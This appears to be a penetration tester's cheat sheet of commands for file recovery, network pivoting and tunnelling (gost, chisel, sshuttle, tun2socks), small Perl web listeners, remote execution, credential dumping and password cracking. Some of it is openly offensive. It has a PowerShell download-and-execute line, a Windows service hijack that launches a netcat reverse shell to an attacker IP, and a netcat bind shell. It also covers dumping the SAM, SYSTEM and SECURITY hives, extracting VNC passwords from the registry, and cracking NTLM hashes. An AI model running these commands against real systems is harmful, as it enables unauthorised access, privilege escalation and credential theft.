    echo If objShell.NameSpace(objItem.Path).Items.Count = 0 Then >> zip.vbs
    echo intSkipped = intSkipped + 1 >> zip.vbs
    echo End If >> zip.vbs
    echo End If >> zip.vbs
    echo Next >> zip.vbs
    echo objShell.NameSpace(strZip).CopyHere(filesInDir), 4 + 16 + 1024 >> zip.vbs
    echo intSrcItems = filesInDir.Count - intSkipped >> zip.vbs
    echo Set filesInDir = Nothing >> zip.vbs
    echo Do Until objShell.NameSpace(strZip).Items.Count = intSrcItems >> zip.vbs
    echo WScript.sleep 200 >> zip.vbs
    echo Loop >> zip.vbs
    echo Set objShell = Nothing >> zip.vbs
    echo Set fso = Nothing >> zip.vbs
        

Recovery

Ext4

ext4magic

  • Site - Recover deleted files (ref)
  • Dump the journal (optional):
    # Recommended to avoid overriding
    debugfs -R "dump <8> <sdnN>.jnl" /dev/<sdnN>
        
  • Unmount partition:
    umount /dev/<sdnN>
        
  • List deleted files in last 6 hours:
    # Remove -j <jnl> if no journal dump
    ext4magic /dev/<sdnN> -a $(date -d "-6hours" +%s) -f <inspect/folder> -j <sdnN>.jnl -l
    # -f is the path from <sdnN> root
        
  • Recover deleted files in last 6 hours:
    ext4magic /dev/<sdnN> -a $(date -d "-6hours" +%s) -f <inspect/folder> -j <sdnN>.jnl -r -d <dir-to-save>
    # Use -m instead of -r for < 100%
        

.DS_Store

Python-dsstore

  • Site - Parse .DS_Store cache content:
    python3 main.py .DS_Store | awk '!x[$0]++'
    # Removes duplicates
        

Signatures

Location Common Tools

Windows

Official sites

PLINK.exe

  • Kali - Incompatible: locate plink.exe
  • WinXP usable + OpenSSH usable: w32old
  • All others (unchecked): w32 - w64
  • Official page

REG.exe and other admin tools

Linux

static-get

  • Script - s.minos.io static builds:
    # Search
    static-get -s <search-pkg>
    # Use the <pkg.tar.xz> below
    
    # Download
    static-get <pkg-from-search-results>
    # -o <dir> - Set download directory
        

Port Redirection

Scanner Configuration / Fix

Nmap

  • Use gost to create a SOCKS tunnel + tun2socks to create a TUN and run nmap with -e <tun> (allows UDP + SYN Scan)
  • Alternatively use graftcp or proxychains for TCP CONNECT scan (-sT) only in unprivileged mode (--unprivileged), see
  • The builtin alternative is to use the --proxies flag though note it is experimental and limited to SOCKS4 or HTTP proxy only for NSE scripts, or ncat in listen mode with proxy flags to a SOCKS5 (TCP only)

VPN

Gost

  • Get the binaries (or my changes)
  • Supports TUN/TAP tunnels (admin in both sides required)
  • TODO - Check if gost TUN to SOCKS is possible by setting the routing table as showed in the SSH VPN section
  • Fallback to reverse-SOCKS-tunnel + use tun2socks (faster) or graftcp

SSHuttle

  • Repository
  • Python and SSH required in the target
  • Route all the 192.168.1.0 traffic through the ssh server:
    sshuttle --dns -r <user>@<ip> 192.168.1.0/24
        
  • Only tproxy method supports UDP
  • Reverse tunnels require some fiddling:

Tfunnel

  • Repository
  • C++ Replacement for sshuttle --method=tproxy

SSH

DSVPN

TinyVPN

Leaf

n2n

Iodine

  • Admin privileges in both sides required
  • Tunnel through DNS
  • Site

Hans

  • Admin privileges in both sides required
  • Tunnel through ICMP
  • Respository

Socat

Linux Tunnels

IP-to-IP

  • Admin privileges in both sides required
  • How to

GRE tunnel

  • Admin privileges in both sides required
  • How to

SOCKS / Dynamic

Tunnel Creation

Gost

Binaries
  • Get the binaries
  • Or just compile it: make linux-amd64
  • auto schemas (not specifying the protocol/transport) for the endpoints almost always achieve the fastest results
  • Set the ?udp=true flag on the listener and last http/socks forwarder for UDP-over-TCP
Bypass Conditions
  • Use the ?bypass flag with a file or a list of IPs, CIDR and domains with wildcards
  • See the file structure on the docs
Reverse SOCKS
Through unavoidable intermediate Proxies
  • The method is almost the same as below:
    # Example: Must tunnel through PAC proxy
    pacproxy -c <pac.file> -l 127.0.0.1:8008
    
    # Just add this proxy as first forwarder
    gost -L 127.0.0.1:8888 -- -L rtcp://127.0.0.1:8010/127.0.0.1:8888 -F http://127.0.0.1:8008 -F auto+auto://<ip>:8080
    # Change to http2 if supported by the
    # intermediate proxy
        
Over SSH
  • Docs - Auth docs - Heartbeat docs
  • Prefer QUIC/UDP-protos: Are around 10 times faster than TCP ones
  • Prefer TLS+Websockets/HTTP 2.0: are faster
  • Note that the SSH server can be a non-gost one (like sshd)
  • Server (using my changes):
    # The server will be the client
    gost -L socks5://127.0.0.1:1080?udp=true -F relay://127.0.0.1:8010 -- -L forward+ssh://:2222
    # The -- -L ... can be removed if using
    # a non-gost ssh server
        
  • Client (using my changes):
    # The client will be the server
    gost -L relay://127.0.0.1:8888 -- -L rtcp://127.0.0.1:8010/127.0.0.1:8888 -F forward+ssh://<ip>:2222
    # Relay performance flags:
    # ...relay://127.0.0.1:8888?nodelay=true
    #                          &bind=true
    # ^ Relay only has bind=true in Gost v3
    # SSH Heartbeat:
    # ...ssh://<ip>:2222?ping=60
    # Non-gost SSH Authentication:
    # ...ssh://<user>:<pass>@<ip>:2222
    # or ssh://<ip>:2222?ssh_key=<rsa>
        
  • relay appears to be faster than auto (nothing) or socks5
  • forward+ssh automatically selects direct and reverse modes but only works as the last proxy
  • How it works:
    1. S1080 -> S8010 -> S2222 -> C8888:
    2. (S)erver listens in TCP 1080&2222
    3. (C)lient listens in TCP 8888 and
    4. C starts a TCP 8010 listener in S
    5. via SSH (2222) redirected to 8888
    6. S 1080 port is redirected to 8010
Over QUIC
  • Docs - QUIC - Shadowsocks over KCP
  • If QUIC (UDP) gets slow/unreliable try KCP (UDP + improved latency vs bandwidth tradeoff + error correction), or TCP transport protocols like websockets or transports/protocols to disguise the servers as HTTP ones (ss+ohttp, obsf4, sni, socks5+h2 or just http)
  • Gost-SOCKS default transport is TLS, prefer Shadowsocks for security (UDP traffic not supported)
  • Server (using my changes):
    # The server will be the client
    gost -L socks5://127.0.0.1:1080?udp=true -F 127.0.0.1:8010 -- -L socks5+quic://:8080
        
  • Client - mSOCKS + keep-alive QUIC:
    # The client will be the server
    gost -L 127.0.0.1:8888?udp=true -- -L rtcp://127.0.0.1:8010/127.0.0.1:8888 -F socks5+quic://<ip>:8080?keepalive=true&mbind=true
    # rudp + forward tricks don't work
        
Over Websockets
  • Server (using my changes):
    # The server will be the client
    gost -L socks5://127.0.0.1:1080?udp=true -F relay://127.0.0.1:8010?nodelay=true -- -L tls+ws://:8080?compression=true
    # Is ?enableCompression=true on Gost v3
        
  • Client:
    # The client will be the server
    gost -L relay://127.0.0.1:8888?nodelay=true -- -L rtcp://127.0.0.1:8010/127.0.0.1:8888 -F tls+ws://<ip>:8080?compression=true&mbind=true
    # ^ Relay has bind=true in Gost v3
        
  • Check whether websocket multiplexing (mws) improves or worsens the performance
  • In my tests mws is very inconsistent when used to scan a single port
  • Use websockets over TLS on their own with wss or mwss
Auto HTTP + Socks5 Proxy on Reverse Proxy
  • Use 2 auto listeners with an auto forwarder
    # On our server - Use one of the above
    gost -L 127.0.0.1:1080 -F auto://[...]
    
    # On Reverse Proxy - Using my changes
    gost -L 127.0.0.1:8888 -F 127.0.0.1:8010 -- -L 127.0.0.1:8010
    
    # Test it with curl
    curl -x http://127.0.0.1:1080 <site>
    curl -x socks5://127.0.0.1:1080 <site>
        
  • This tricks bypasses the case where the 8888 listener gets a Proxy CONNECT from any of the intermediate forwarders encapsulating Socks5
Access the Client’s Network from Server
  • Using the SOCKS tunnel:
    # Server side - ncat (>7.91) check:
    ncat --proxy 127.0.0.1:1080 --proxy-type socks5 -nv <client-side-ip> <client-side-port>
    
    # Server side - curl check:
    curl -s -x socks5://127.0.0.1:1080 -L http://<client-http-server> | w3m -T text/html
    
    # Server side - nmap/wireshark...
    # use tun2socks with TCP 1080
        
  • Bind-netcat (remove the appropriate client/server -L ... configuration):
    # Client side:
    nc -lnvp 8888 -e /bin/sh
    
    # Server side:
    nc -nv 127.0.0.1 8010
        
Transparent Proxy
  • Docs - Linux only (requires iptables)
  • Transparently redirect all TCP and UDP traffic to a given network

Chisel

Binaries
Reverse SOCKS5
  • The proxy is opened on the server-side
  • Server:
    # key: non-mandatory - put anything
    chisel server -p 8010 --socks5 --reverse --key test
    # Annotate the fingerprint value
        
  • Client:
    # Put fingerprint in <server-print>
    chisel client --fingerprint "<server-print>" <ip>:8010 R:1080:socks
    # Proxy on port 1080 on server-side
        

PLINK.EXE

  • Forward SOCKS/Dynamic:
    plink -ssh -N -l <usr> -pw <pass> -D 1080 <usr>@<ip>
        
  • Reverse SOCKS/Dynamic doesn’t seem to work in plink

Tunnel Usage

tun2socks

  • Creates a TUN interface (admin required) redirecting the traffic to a SOCKS5 server
  • Shadowsocks (ss) and Direct (direct) proxy modes are also supported
  • Get the binaries from the release page
  • Or use the BadVPN version (config)
  • TUN configuration (ref):
    ip tuntap add mode tun dev tun10
    
    # Only these two lines are needed
    # if tun2socks was previously run:
    ip addr add 10.0.0.1/31 dev tun10
    
    ip link set tun10 up
        
  • Usage:
    # Use ss for shadowsocks
    tun2socks -device tun://tun10 -tcp-auto-tuning -loglevel warning -proxy socks5://127.0.0.1:1080
    # direct just creates a tun proxying
    # to the system DNS/routes
        
  • ss requires a cipher and pass, no-UDP:
    tun2socks -device tun://tun10 -loglevel warn -proxy ss://AEAD_CHACHA20_POLY1305:<pass>@127.0.0.1:1080
    # Gost has a different cipher syntax
    # Same ss://<cipher:pass>@<ip:port>
        
  • Nmap config:
    # The -n causes major speed-up
    nmap -sS -sU -sV -Pn [...] -e tun10 -n <target-machine-ip>
        

Ipio

  • Binaries - designed mainly for Brook server
  • Usage:
    ipio tun2socks5 -s 127.0.0.1:1080 --doNotChangeAnything
    # Configure the TUN as shown in the
    # tun2socks > TUN configuration
        

Graftcp

  • Not based on LD_PRELOAD, works on static binaries
  • Get the binaries from the release page
  • Usage:
    # Remember to use TCP CONNECT scans
    mgraftcp --http_proxy <ip:port> --select_proxy_mode only_http_proxy -n <cmd>
    # --select_proxy_mode: Use for local addrs
    # -n              - Proxy local addresses
    # --socks5 <ip:p> - Proxy via socks5
    # --socks5_password <pass>
    # --socks5_username <user>
        
  • Prior to v0.4
    • Server
      # Run with sudo if sudoing graftcp
      graftcp-local -loglevel 3 -socks5 :1080
              
    • Client
      # -n proxies localhost (127.0.0.1)
      # making nmap ... 127.0.0.1 work
      graftcp -n <command>
              

ProxyChains

  • Hack based on LD_PRELOAD (linux)
  • Modify the last line of proxychains.conf to use the 1080 port, also check if using socks4 vs socks5
  • You may want to uncomment quiet_mode
  • Use is as follow:
    :: Python pip works
    proxychains_win32_x86.exe -f proxychains.conf <program>
        

Browser

  • Unfortunately neither IE nor Edge seem to like the proxy settings, the only alternative appears to be downloading Firefox Portable and configure to use the socks5 proxy

Individual Ports

Gost

SSH

  • Docs - Auth
  • Note: forward mode only supports TCP
  • Forward TCP - SSH native:
    # Server
    gost -L forward+ssh://:2222
    
    # Client
    gost -L tcp://127.0.0.1:8080/:80 -F forward+ssh://<ip>:2222?ping=60
        
  • Reverse UDP - SSH encapsulated:
    # Server -> will be the client
    gost -L ssh://:2222
    
    # Client -> will be the server
    gost -L rudp://:5353/<dns-ip>:53 -F ssh://<ip>:2222?ping=60
    # Ignore the log about SOCKS
        

Simple TCP/UDP Redirection - Direct

  • Docs
  • Forward TCP:
    gost -L tcp://127.0.0.1:3333/<ip>:1212
        
  • Reverse UDP:
    # Reverse requires a proxy listening
    gost -L rudp://:5353/<dns-ip>:53 -F <ip>:3355
        
  • Forward Tunnel over TLS:
    # Server
    gost -L tls://:8443/<target-ip>:80
    
    # Client
    gost -L tcp://:8080 -F forward+tls://:8443
    # Connect to client
        

Multiple TCP/UDP Redirection - Relay

  • Docs
  • Only port-forwarding/tunneling is supported (but you can bypass this with a reverse-tunnel + SOCKS5 wrap)
  • Port forwarding:
    # Server
    gost -L relay://:9999
    
    # Client
    gost -L udp://:5353/<dns>:53 -L tcp://:8080/:80 -F relay://<ip>:9999?nodelay=true
    # UDP: C 5353 -> S 9999 -> <dns>:53
    # TCP: C 8080 -> S 9999 -> S 80
        
  • Forward tunnel:
    # Server
    gost -L relay://:9999/<dns>:53
    
    # Client
    gost -L udp://:5353 -L tcp://:8080 -F relay://<ip>:9999?nodelay=true
    # UDP: C 5353 -> S 9999 -> <dns>:53
    # TCP: C 8080 -> S 9999 -> <dns>:53
        
  • The nodelay flag (default false) will only relay the connection to the server if data is received from the client
  • This means that simple port-pinging or connection won’t be transparently relayed unless the flag is true

mr2

  • Binaries
  • Usage - Reverse port forwarding:
    # Server
    mr2 server -l :9999 -p password
    
    # Client
    mr2 client -s <ip>:9999 -p password -P 8888 -c 127.0.0.1:8080
    # Server's port 8888 redirect to
    # client's 8080
        
  • Reverse directory listing:
    # Server
    mr2 server -l :9999 -p password
    
    # Client
    mr2 client -s <ip>:9999 -p password -P 8888 --clientPort 8080 --clientDirectory <path>
    # <path> will be accessible over
    # server's 8888
        

Socat

  • Forward redirection (ref1, ref 2):
    # Local 8080 redirected to <ip>:80
    socat TCP-LISTEN:8080 TCP:<ip>:80
    
    # With DNS forwarding
    socat TCP-LISTEN:8080,fork SOCKS4A:127.0.0.1:<ip>:80,socksport=5678
        

PLINK.exe

  • Reverse redirection:
    plink.exe -ssh -N -l <user> -pw <pass> -R 192.168.1.1:1212:127.0.0.1:6000 192.168.1.1 <user>@<host>
        

Rinetd

  • Project
  • Create the configuration (rinetd.conf):
    # lhost lport rhost rport
    <lip>   80    <rip> 80
        
  • Start in the foreground:
    rinetd -f -c rinetd.conf
        

HTTP Proxy

Gost

  • Simple HTTP(S) or HTTP2:
    # HTTP
    gost -L http://:8080
    
    # HTTPS
    gost -L https://:8080
    
    # HTTP2
    gost -L http2://:8080
    
    # HTTP 1.1 to HTTP 2.0
    gost -L http://:8080 -F http2://:9090 -- -L http2://:9090
    # http & ohttp -> HTTP 1.1 transports
    # h2c  & h2    -> HTTP 2.0 transports
        
  • TLS to SNI forwarding:
    # Server
    gost -L tls://:4433/:3344 -L sni://:3344
    # SNI is a TLS extension to specify
    # the target domain to the server
    
    # Client
    gost -L :8080 -F forward+tls://<ip>:4433
        
  • Relay HTTP/SOCKS:
    # Server
    gost -L relay+tls://:1080
    
    # Client
    gost -L :8080 -F relay+tls://<ip>:1080?nodelay=false
        
  • Proxy Usage - Curl:
    curl -s -x http://127.0.0.1:8080 -L https://<site> | w3m -T text/html
        

Netsh

SSL / TLS Proxy

Gost

  • Strip TLS from incoming traffic:
    gost -L tls://127.0.0.1:4433/127.0.0.1:8080
    
    # Test it with a netcat listener:
    echo -ne 'HTTP/1.0 404\r\nContent-Length: 0\r\n\r\n' | nc -lnvp 8080
    
    # And curl connecting via HTTPS
    curl -i -k https://127.0.0.1:4433
        
  • Add TLS to outgoing traffic:
    # The response includes a CONNECT header
    gost -L tcp://127.0.0.1:8080/127.0.0.1:8008 -L tcp://127.0.0.1:8008 -F tls://127.0.0.1:4433
    
    # Test it with a netcat listener:
    nc -lnvp 4433
    
    # And curl connecting via HTTP
    curl http://127.0.0.1:8080
    
    # Decode it back:
    gost -L tls://127.0.0.1:4433 -F sni://127.0.0.1:8888
        

stunnel

  • Site - Add SSL/TLS to local HTTP services
    # Note that gost should also work
    
    # Useful for making php -S HTTPS
    php -S 127.0.0.1:8080 &
    
    # Generate a cert
    openssl req -new -x509 -days 365 -nodes -out crt.pem -keyout crt.pem -batch
    
    # Add HTTPS on 4433 IPv4
    stunnel3 -d 0.0.0.0:4433 -r 8080 -f -p crt.pem -P /tmp/.stunnel.pid
    # -P <path> is needed for non-root
        

Listeners

Authbind

  • Site - Bind < 1024 ports as non-root:
    # Netcat bind in port 80 as non-root
    authbind nc -lnvp 80
        

Web Servers & Proxies

HTTP

Perl

  • Core Perl listeners - Return 404:
    # Connection timeout set to 5 seconds
    # Localhost only, listens to 80 and 443
    perl -le '$SIG{CHLD}=IGNORE;$"=",pack+";$p=fork//die?80:443;socket+S,2,1,6;eval"setsockopt+S,@$_"for["1,2","l,1"],["1,13","ii,1,5"],["1,21",q/"l!2",5/],["6,18","L,5000"];bind+S,pack+snsnN2,2,$p,127,1;listen+S,1;close$;while(accept$;,S),fork//1;print$;("HTTP/1.0 404\r\nContent-Length: 0\r\n\r")'
    # The first socket call is equivalent to:
    #   socket$s,PF_INET,SOCK_STREAM,
    #            getprotobyname("tcp")
    # Packed arrays structure:
    # [ <Sock-Level>, <Level-Opt>, <Rest*> ]
    # Sock-Level 1 -> SOL_SOCKET
    #   Level-Opt 2  -> SO_REUSEADDR
    #   Level-Opt 13 -> SO_LINGER
    #   Level-Opt 21 -> SO_SNDTIMEO
    #   See man socket7, asm-generic/socket.h
    # Sock-Level 6 -> getprotobyname("tcp")
    #              or Socket::IPPROTO_TCP
    #   Level-Opt 18 Socket::TCP_USER_TIMEOUT
    #   See man tcp7 & ip7, and linux/tcp.h
    
    # See if the socket options are set
    perl -E '$"=",pack+";$,=" ";socket$s,2,1,6;map{eval"setsockopt\$s,@$_;say unpack\"(H2)*\",getsockopt\$s,$$_[0]"}["1,2","l,1"],["1,13","ii,1,5"],["1,21",q/"l!2",5/],["6,18","L,5000"]'
    
    # Minimal on 0.0.0.0, no timeout nor reuse
    # Causes errors on the clients
    perl -e '$SIG{CHLD}=IGNORE;$_=fork//die?80:443;socket+S,2,1,6;bind+S,pack+sn7,2,$_;listen+S,1;close$;while(accept$;,S),fork//1;shutdown$;,2'
    # shutdown results in "Empty reply" error
    # Remove shutdown for "Connection reset"
    
    # The pack magic comes from this
    perl -MSocket -E '$,=" ";say+unpack"(H2)*",sockaddr_in+8888,127.0.0.1'
    # ^ using pack with hex-encoded addr is:
    perl -E 'say join" ",unpack"(H2)*",pack+snN3,2,8888,0x7f000001'
    # Or compacted:
    perl -E 'say join" ",unpack"(H2)*",pack"(sn)4",2,8888,127,1'
    # Or full IP - comma delimited:
    perl -E 'say join" ",unpack"(H2)*",pack+snC12,2,8888,192,168,1,1'
    # Or full IP - v-string (not portable):
    perl -E 'say join" ",unpack"(H2)*",pack+sna12,2,8888,127.0.0.1'
    # Or full IP - v-string (portable):
    perl -E 'say join" ",unpack"(H2)*",pack+snN3,2,8888,unpack+N,127.0.0.1'
        
  • Core Perl Webserver - HTTP/1.1 Keep-alive:
    # Serves from current dir - To serve from /
    #  $_=".$1" -> $_=-d$1?"$1/index.html":$1
    perl -e '$SIG{CHLD}=IGNORE;$"=",\$f=pack+";socket+S,2,1,6;eval"setsockopt+S,@$_"for["1,2","l,1"],["1,13","ii,1,5"],["6,1","l,1"],["6,18","L,5000"],["1,21",q/"l!2",5/];bind+S,pack+snN3,2,<PORT>,unpack+N,<IP>;listen+S,5;$/="\r\n"x2;close$:while(accept$:,S),fork//1;setsockopt$:,1,20,$f;$_=".$1",$f=2<<14,map{send$:,$_,$f}"HTTP/1.1 ",open(F,"<",-d?$_.="/index.html":$_)?200:404,"\r\nContent-Type: ",'"$(perl -MSocket -e '$"=",pack+";socket+S,2,1,6;eval"setsockopt+S,@$_"for["1,13","ii,1,5"],["6,18","L,5000"],map["1,2$_",q/"l!2",5/],0,1;connect+S,sockaddr_in+80,inet_aton$_="svn.apache.org";$/="\r\n"x2;send+S,"GET /viewvc/httpd/httpd/trunk/docs/conf/mime.types?view=co HTTP/1.0\r\nHost: $_$/",0;<S>;$_=<S>;y/ /|/;s!^([^#]+?)\s+(.+)!print"/\\.($2)\$/n?\"$1\":"!gem')"'"application/octet-stream","\r\nContent-Length: ",0+-s,$/,<F>,$f=()while<$:>=~/\s([^\s?]+)/'
    # Allows dir traversal - Fix it with:
    #   <$:>=~/\s((?:(?!\.\.)[^\s?])+)/
    #
    # Opts in addition to those explained above
    # Sock-Level 1 -> SOL_SOCKET
    #   Level-Opt 20 -> SO_RCVTIMEO
    # Sock-Level 6 -> getprotobyname("tcp")
    #   Level-Opt 1 -> TCP_NODELAY
    # send flag (send(2) - bits/socket.h)
    #   MSG_MORE -> 0x8000 -> 2<<14
    
    # Hash version - Highest performance
    perl -e '$SIG{CHLD}=IGNORE;%m=("'$(perl -MSocket -e '$"=",pack+";socket+S,2,1,6;eval"setsockopt+S,@$_"for["1,13","ii,1,5"],["6,18","L,5000"],map["1,2$_",q/"l!2",5/],0,1;connect+S,sockaddr_in+80,inet_aton$_="svn.apache.org";{local$/="\r\n"x2;send+S,"GET /viewvc/httpd/httpd/trunk/docs/conf/mime.types?view=co HTTP/1.0\r\nHost: $_$/",0;<S>}($_,@_)=split,$,=qq/","$_","/,/^#/||print@_,""while<S>')'");$"=",\$d=pack+";socket+S,2,1,6;eval"setsockopt+S,@$_"for["1,2","l,1"],["1,13","ii,1,5"],["6,1","L,1"],["6,18","L,5000"],["1,21",q/"l!2",5/];bind+S,pack+snN3,2,<PORT>,unpack+N,'$(hostname -i)';listen+S,5;$/="\r\n"x2;$f=2<<14;close$:while(accept$:,S),fork//1;setsockopt$:,1,20,$d;$_=".$&",$d=$f,map{send$:,$_,$d}"HTTP/1.1 ",open(F,"<",-d?$_.="/index.html":$_)?200:404,"\r\nContent-Type: ",$m{s/.+\.//r}//"application/octet-stream","\r\nContent-Length: ",0+-s,$/,<F>,$d=()while<$:>=~/\s([^\s?]+)/'
    # If no internet or no Socket module, use
    awk '/^.$/,0{if(!/^#/&&$2){gsub(" ","|");printf"/\\.(%s)$/?\"%s\":",$2,$1}}' mime.types
    # In the command substitution with:
    # http://svn.apache.org/viewvc/httpd/httpd/trunk/docs/conf/mime.types?view=co
        

WPAD/PAC & NTLM

dePAC

  • Site (raw) - Native Perl PAC proxy
    # Backgrounds by default -> depac --stop
    perl depac --wpad_file <url/file> --bind_port 8080 --log_file /dev/null
    # Add 127.0.0.1 to the dnsResolve func
    # as return string instead of ()
    # Start a Perl server listening to 80/443
        

pacproxy

  • Site - Go PAC proxy with binaries
    # Able to directly parse JS
    pacproxy -c <url/file/js> [-l<host:port>]
    # -l defaults to 127.0.0.1:8080
        

alpaca

  • Site - Go PAC proxy supporting NTLM auth
    # Use a PAC file, default listen on 3128
    alpaca -C <uri> -d <port>
    # Use file:///<path> for local file
    
    # NTLM - Asks for credentials by default
    alpaca -d <domain> -u <user> [-H]
    # -H - Generate NTLM hash for the creds
    
    # Export the creds to auto-authenticate
    export NTLM_CREDENTIALS="<NTLM-hash>"
    alpaca -C <pac> -d <dom> -u <usr>
        

paxy

  • Site - Simple Go PAC proxy
    # It also servers the PAC in /pac
    paxy -p <port> <pac>
    # Only listening in 127.0.0.1
    # See the readme for PAC escalability
        

Remote Command Execution

Windows

  • PowerShell to run commands remotely via sessions:
    $sess = New-PSSession -Computer <computer-name>
    Invoke-Command -Session $sess -ScriptBlock {<command>}
    Copy-Item "C:\<local-path>" -Destination "C:\<remote-path>" -ToSession $sess
        
  • Powershell executing remote scripts locally with Invoke-Expression, see more examples here
    powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('http://<ip>/helloworld.ps1')
        

Service Tampering

Windows

  • List services and their permissions:
    sc query
    
    sc qc <service-name>
        
  • Change the command they execute:
    :: Launch a reverse shell:
    sc config <service-name> binpath= "C:\<path-to-nc>.exe -n <ip> <port> -e C:\WINDOWS\System32\cmd.exe"
    
    sc config <service-name> obj= ".\LocalSystem" password= ""
    
    :: Verify the changes
    sc qc <service-name>
        
  • Start the service:
    net start <service-name>
        

Credentials

Dump

Windows

Common Registry, logs, etc

Batch / cmd.exe
  • Dump the SAM and System databases to get the hashes using samdump2 System SAM:
    :: /y -> yes ; /c -> compress
    reg save HKLM\System C:\System
    reg save HKLM\SAM C:\SAM
        
  • Software and Security:
    reg save HKLM\Security C:\Security
    reg save HKLM\Software C:\Software
        
  • Default:
    reg save HKEY_USERS\.DEFAULT C:\DEFAULT
        
  • NTUSER (from all users):
    :: Select user
    ntuser hive C:\Users\<user>\NTUSER.DAT
    
    :: Try this if it doesn't work:
    reg load HKEY_Users\User<USER> "C:\Users\<user>\NTUSER.DAT"
    
    :: Backup NTUSER.dat
    reg save HKCU C:\NTUSER.DAT
    
    :: Backup UsrClass.dat
    reg save HKCU\Software\Classes C:\UsrClass.dat
    
    :: Note that selecting an offline user may allow funny things
    ntuser hive C:\Users\Default\NTUSER.DAT
    :: See http://smallvoid.com/article/winnt-reset-password.html
        
  • All the Registry Transaction Logs (.LOG) of the hives
  • All the .SAV files
  • Registry Backups: %SystemRoot%\System32\config\RegBack
  • Transactional Registry Transaction Log (.TxR)
  • TODO - Find the location of:
    • Amcache: C:\Windows\AppCompat\Programs
    • Restory Points
    • Event log: C:\WINDOWS\System32\winevt\logs
    • Prefetch: C:\Windows\Prefetch (.pf files)
    • Windows Error Reporting: C:\ProgramData\Microsoft\Windows\WER\ReportArchive
    • RDP cache %USERPROFILE%\AppData\Local\Microsoft\Terminal ServerClient\Cache
    • Recycle BIN: C:\$RECYCLE.BIN
    • Windows Shortcuts: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent
    • Recent Files / Most Used Files:
      • %USERPROFILE%\AppData\ Roaming\Microsoft\Windows\Recent\AutomaticDestinations
      • %USERPROFILE%\AppData\ Roaming\Microsoft\Windows\Recent\CustomDestinations
  • Location Cheatsheet SANS
Impacket
Secretsdump
  • Site - Get NTLM hashes from NTDS.dit
    secretsdump.py -ntds <ntds.dit> -system <system-hive>
        

VNC

  • First locate the name of the folder under Program Files as it will match the registry name, for example:
    • C:\Program Files\RealVNC\WinVNC4 -> Matches RealVNC\WinVNC4 in the Reg
    • C:\Program Files\RealVNC\WinVNC -> Matches RealVNC\WinVNC in the Reg
  • Reference raymond.cc
RealVNC
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
:: Try Password as well
TightVNC
reg query HKEY_CURRENT_USER\Software\TightVNC\Server /v password
:: Try Password or PasswordViewOnly
TigerVNC
reg query HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 /v password
:: Try Password
UltraVNC
type "C:\Program Files\UltraVNC\ultravnc.ini"
:: Find it in passwd or passwd2

Import

  • Apparently it is possible to import with certutil the CodeSingPCA.crl files as they are CA certificates

Hashes

Identification

Name-That-Hash

  • Site - Identify and hashcat/john id
    nth --no-banner --text <hash>
        

Haiti

  • Site - Identify hashes
    haiti <hash>
        

Bruteforce

Wordlists

Pre-made

Passwords
Users

Tools

CeWL
  • Site - Custom generator from website:
    cewl -d 9 -w <outlist> -e --email_file <oemailist> -a --meta_file <ometalist> <url>
    # -d <dep> - Scrap depth high=crash
    # -m <len> - Minimum word length
    # -o - Spider also out-scope sites
    # -n - Don't show the words found
    # -c - Show the word count
    # -u <UA> - Set User Agent
    # --proxy_host | --proxy_port
    # --auth_type  | --auth_user/pass
        
Duplicut
  • Site - Remove duplicates without sort
    duplicut -l 255 <ddict> -o <udict>
    # -l <num>  Filters len str > <num>
    # -p        Filters non-ASCII lines
        
  • Remove words from other dictionaries:
    # Using bash/zsh pipes
    duplicut -l 255 <(cat <odict> <(echo "-<ndict>-") <ndict>) -o >(sed -n '/-<ndict>-/{:a;n;p;ba;}' > <cndict>)
    # or sed -n '/-<ndict>-/,${//!p}'
        
Crunch
  • Site - Custom wordlist generator
  • In almost all cracking circumstances is better to use John/Hashcat rules
  • Find lengthy examples in this post:
    crunch <min-len> <max-len> -f charset.lst <setname> -t <pattern>
    # -o <out-file> - Save to file
    #
    # <pattern> @ substitutes -f <set>
    #
    # If NO -f, <pattern> specials are:
    #   @  ->  lower-case characters
    #   ,  ->  upper-case characters
    #   %  ->  numbers
    #   ^  ->  symbols (space included)
    
    # Word of length 11 with symbols:
    crunch 11 11 -f <charset.lst> symbols-all -t Morris1984@
    # -f symbols-all has no whitespace
    
    # Equivalent without -f
    crunch 11 11 -t Morris1984^
    # ^ includes whitespace
        

John The Ripper

  • Tools to format to hash.john
    • Tools like: ssh2john, rar2john
  • Best Rules - Get last KoreLogic-derived
    # Include them in the ruleset
    sudo tee -a /etc/john/john.conf < <new.rules> >/dev/null
    
    # Find the name of all the rules
    awk -F':|]' '/^\[.*Rules:/{print $2}' /etc/john/john.conf | less
        
  • Automatically detects the hash or use: hashid -j <hash> (-e ask for more)
  • Simple usage - Crack NTLM hashes
    john --format=NT --wordlist=<wordlist> <hashfile>
    # For NTLMv2 use: netntlmv2
        
  • All digits from 0 to 999999 - multi-process:
    john --mask='?d' --min-length=1 --max-length=6 --fork=8 <hashfile>
        
  • Read wordlist from stdin + apply rules:
    echo "test" | john --pipe --format=NT --rules=KoreLogicRules <hashfile>
    
    # Keep john interactive alt 1
    (echo "test" | exec john --pipe --format=NT --rules=KoreLogicRules <hashfile>)
    
    # Keep john interactive alt 2
    john --pipe --format=NT --rules=KoreLogicRules <hashfile> < <(echo "test")
        
  • List detected OpenCL devices
    optirun --no-xorg -b none -- pvkrun john --list=opencl-devices
        
  • Run on a dedicated device:
    # Note that only formats ending in
    # -opencl work
    vblank_mode=0 nice -10 optirun --no-xorg -b none -- pvkrun john --pipe --rules=All --devices=1 --format=<hashtype>-opencl <hashfile> < <(echo "test")
    
    # Obtain information
    pkill -USR1 john
    
    # Exit john without killing optirun
    pkill -INT john
        
  • Run on multiple devices at once
    # Not recommended as it doesn't
    # support reading from stdin nor
    # splits according to the
    # processing capabilities, unlike
    # hashcat
    vblank_mode=0 nice -10 optirun --no-xorg -b none -- pvkrun john --fork=2 --devices=1,2 --format=<hashtype>-opencl --wordlist=<wordlist> <hashfile>
        
  • TODO - Gen dictionary with rules (see)

Hashcat

Installation

  • Pacman - cuda - dGPU
  • Pacman - intel-compute-runtime - iGPU
  • AUR - intel-cpu-runtime - CPU
  • AUR - hashcat-git
  • AUR - hashcat-utils-git

Old packages/Legacy Systems - Unneeded

  • AUR - intel-opencl - CPU
  • AUR - intel-opencl-runtime - CPU

Rules

Usage

  • Manually extract the hashes (from shadow, etc) and place it into a file
  • Identify the hash type:
    • hashid -m <hash> (-e ask for more)
